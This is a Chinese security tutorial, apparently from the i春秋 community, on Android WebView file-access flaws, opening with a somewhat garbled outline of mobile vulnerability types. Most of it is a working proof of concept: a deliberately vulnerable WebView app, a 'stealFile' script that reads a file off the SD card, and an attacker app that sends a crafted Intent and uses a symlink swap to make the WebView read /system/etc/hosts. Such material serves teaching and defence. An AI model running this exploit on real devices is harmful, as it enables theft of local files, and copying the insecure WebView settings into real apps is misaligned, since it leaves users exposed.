i春秋做家:MAX丶html
基本知識Android架構前端
FrameWork應用框架層
提供一系列的服務和API的接口java
Application應用層android
Andoroid經常使用組件git
Android App常見漏洞 (OWASP Mobile Top 10)平臺使用不當github
概述
平臺功能的濫用,或未能使用平臺的安全控制。如Intent誤用、權限誤用等web
風險
很普遍,可能涉及移動平臺各個服務數據庫
舉例
iOS系統中,將密碼數據存放在本地文件而沒有存放在密鑰鏈中,致使能夠從僞加密的備份數據中讀取
Android系統中,Intent使用不當致使惡意用戶劫持修改intent的內容,以原進程的身份權限執行任意動做瀏覽器
不安全的數據存儲安全
典型漏洞及挖掘方法數據存儲漏洞
數據文件或目錄
SQLiteDatabases
data/data程序包名/database/*.db
InternalStorage
data/data/程序報名/files/*
數據通訊漏洞
SSL證書弱校驗
SSL證書強校驗
可能經過Xp、Patch等方法繞過
組件暴露漏洞
越權行爲
挖掘方法
弱加密漏洞
WebView
主要包括三種漏洞:
漏洞挖掘流程總結
-
今天咱們就來說講WebView 的漏洞
[Java] 純文本查看 複製代碼
示例代碼地址:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。
或者是個人github:https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1
代碼以下代碼主要區別在於此次加載的attack_file.html
public class MainActivity extends Activity {
private WebView webView;
private Uri mUri;
private String url;
String mUrl1 = 「file:///android_asset/html/attack_file.html」;
//String mUrl2 = 「file:///android_asset/html/test.html」;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), 「jsInterface」);
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
//Required functionality here
return super.onJsAlert(view, url, message, result);
}
});
webView.loadUrl(mUrl1);
}
class JSInterface {
public String onButtonClick(String text) {
final String str = text;
runOnUiThread(new Runnable() {
@Override
public void run() {
Log.e(「leehong2″, 「onButtonClick: text = 」 + str);
Toast.makeText(getApplicationContext(), 「onButtonClick: text = 」 + str, Toast.LENGTH_LONG).show();
}
});
return 「This text is returned from Java layer. js text = 」 + text;
}
public void onImageClick(String url, int width, int height) {
final String str = 「onImageClick: text = 」 + url + 「 width = 」 + width + 「 height = 」 + height;
Log.i(「leehong2″, str);
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
}
});
}
}
}
這裏webView.getSettings().setAllowFileAccessFromFileURLs(true),標示能夠經過javaScript訪問file文件。
咱們再來看attack_file.html的代碼:‘
<font style=」color:rgb(79, 79, 79)」><font face=」"」><font style=」font-size:16px」><html>
<body>
<script>
function stealFile()
{
var file = 「file:///mnt/sdcard/233.txt」;
var xmlHttpReq = new XMLHttpRequest();
xmlHttpReq.onreadystatechange = function(){
if(xmlHttpReq.readyState == 4){
alert(xmlHttpReq.responseText);
}
}
xmlHttpReq.open(「GET」, file);
xmlHttpReq.send(null);
}
stealFile();
</script>
</body>
</html> </font></font></font>
因爲setAllowFileAccessFromFileURLs爲true,因此webView.load這個html能夠返回/mnt/sdcard/2333.txt的值。
若是setAllowFileAccessFromFileURLs爲false,webView.load這個html不能夠返回/mnt/sdcard/2333.txt的值。
即便setAllowFileAccessFromFileURLs爲false,咱們經過一種方式也能夠跨過這個限制,這個我下一次講講.
首先運行WebViewFileDemo1,而後再運行AttackWebView來襲擊WebView。
咱們首先看WebViewFileDemo1,主要代碼以下:
<font face=」"」><font style=」font-size:16px」>package com.example.webviewfiledemo; [/size][/font][/p]
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.widget.Toast;
public class MainActivity extends Activity {
private WebView webView;
private Uri mUri;
private String url;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), 「jsInterface」);
webView.getSettings().setAllowFileAccessFromFileURLs(false);
//webView.getSettings().setAllowFileAccess(false);
webView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
//Required functionality here
return super.onJsAlert(view, url, message, result);
}
});
Intent i = getIntent();
if (i != null) {
mUri = i.getData();
}
if (mUri != null) {
url = mUri.toString();
}
if (url != null) {
webView.loadUrl(url);
}
}
} </font></font>
這個Activity接收來自外部的Intent,提取Intent裏面的url並加載。
接着咱們來看AttackWebView工程,這裏就是向com.example.webviewfiledemo.MainActivity發送Intent的工程。代碼以下:
public class MainActivity extends Activity {
public final static String HTML =
「<body>」 +
「<u>Wait a few seconds.</u>」 +
「<script>」 +
「var d = document;」+
「function doitjs(){「+
「var xhr = new XMLHttpRequest;」+
「xhr.onload = function(){「+
「var txt = xhr.responseText;」+
「d.body.appendChild(d.createTextNode(txt));」+
「alert(txt);」+」};」+
「xhr.open(‘GET’,d.URL);」+
「xhr.send(null);」+
「}」+
「setTimeout(doitjs,8000);」+
「</script>」+
「</body>」;
public static String MY_TMP_DIR;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
MY_TMP_DIR = getDir(「payload_odex」, MODE_PRIVATE).getAbsolutePath();
doit();
}
public void doit() {
String HTML_PATH = MY_TMP_DIR + 「/A0″ + 「.html」;
try {
cmdexec(「mkdir 」 + MY_TMP_DIR);
cmdexec(「echo \」" + HTML + 「\」 > 」 + HTML_PATH);
cmdexec(「chmod -R 777 」 + MY_TMP_DIR);
Thread.sleep(1000);
invokeVulnAPP(「file://」 + HTML_PATH);
Thread.sleep(6000);
cmdexec(「rm 」 + HTML_PATH);
cmdexec(「ln -s 」 + 「/system/etc/hosts」 + 」 」 + HTML_PATH);
} catch (Exception e) {
// TODO: handle exception
}
}
public void invokeVulnAPP(String url) {
try {
Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setClassName(「com.example.webviewfiledemo」, 「com.example.webviewfiledemo.MainActivity」);
startActivity(intent);
} catch (Exception e) {
// TODO: handle exception
}
}
public void cmdexec(String cmd) {
try {
String[] tmp = new String[] { 「/system/bin/sh」, 「-c」, cmd };
Runtime.getRuntime().exec(tmp);
} catch (Exception e) {
// TODO: handle exception
}
}
}
經過invokeVulnAPP,打開了com.example.webviewfiledemo.MainActivity並傳遞了Intent。這個Activity提取了Url,Url爲/sdcard/payload_odex/A0.html,webView加載了這個html,html內容以下:
public final static String HTML =
「<body>」 +
「<u>Wait a few seconds.</u>」 +
「<script>」 +
「var d = document;」+
「function doitjs(){「+
「var xhr = new XMLHttpRequest;」+
「xhr.onload = function(){「+
「var txt = xhr.responseText;」+
「d.body.appendChild(d.createTextNode(txt));」+
「alert(txt);」+」};」+
「xhr.open(‘GET’,d.URL);」+
「xhr.send(null);」+
「}」+
「setTimeout(doitjs,8000);」+
「</script>」+
「</body>」;
當WebViewFileDemo1工程中webView加載A0.html後,這個html的做用是延遲8秒讀取A0.html自己。咱們再回到AttackWebView工程,往下看代碼。
cmdexec(「mkdir 」 + MY_TMP_DIR);
cmdexec(「echo \」" + HTML + 「\」 > 」 + HTML_PATH); cmdexec(「chmod -R 777 」 + MY_TMP_DIR);
Thread.sleep(1000);
invokeVulnAPP(「file://」 + HTML_PATH);
Thread.sleep(6000);
cmdexec(「rm 」 + HTML_PATH);
cmdexec(「ln -s 」 + 「/system/etc/hosts」 + 」 」 + HTML_PATH);
調用完invokeVulnAPP後,6秒後,咱們首先把A0.html刪除,而後再從新軟鏈接到/system/etc/hosts。注意此時當WebViewFileDemo1工程中webView加載A0.html,這個html的做用是延遲8秒讀取A0.html自己,因此8秒後讀取的是軟鏈接/system/etc/hosts 。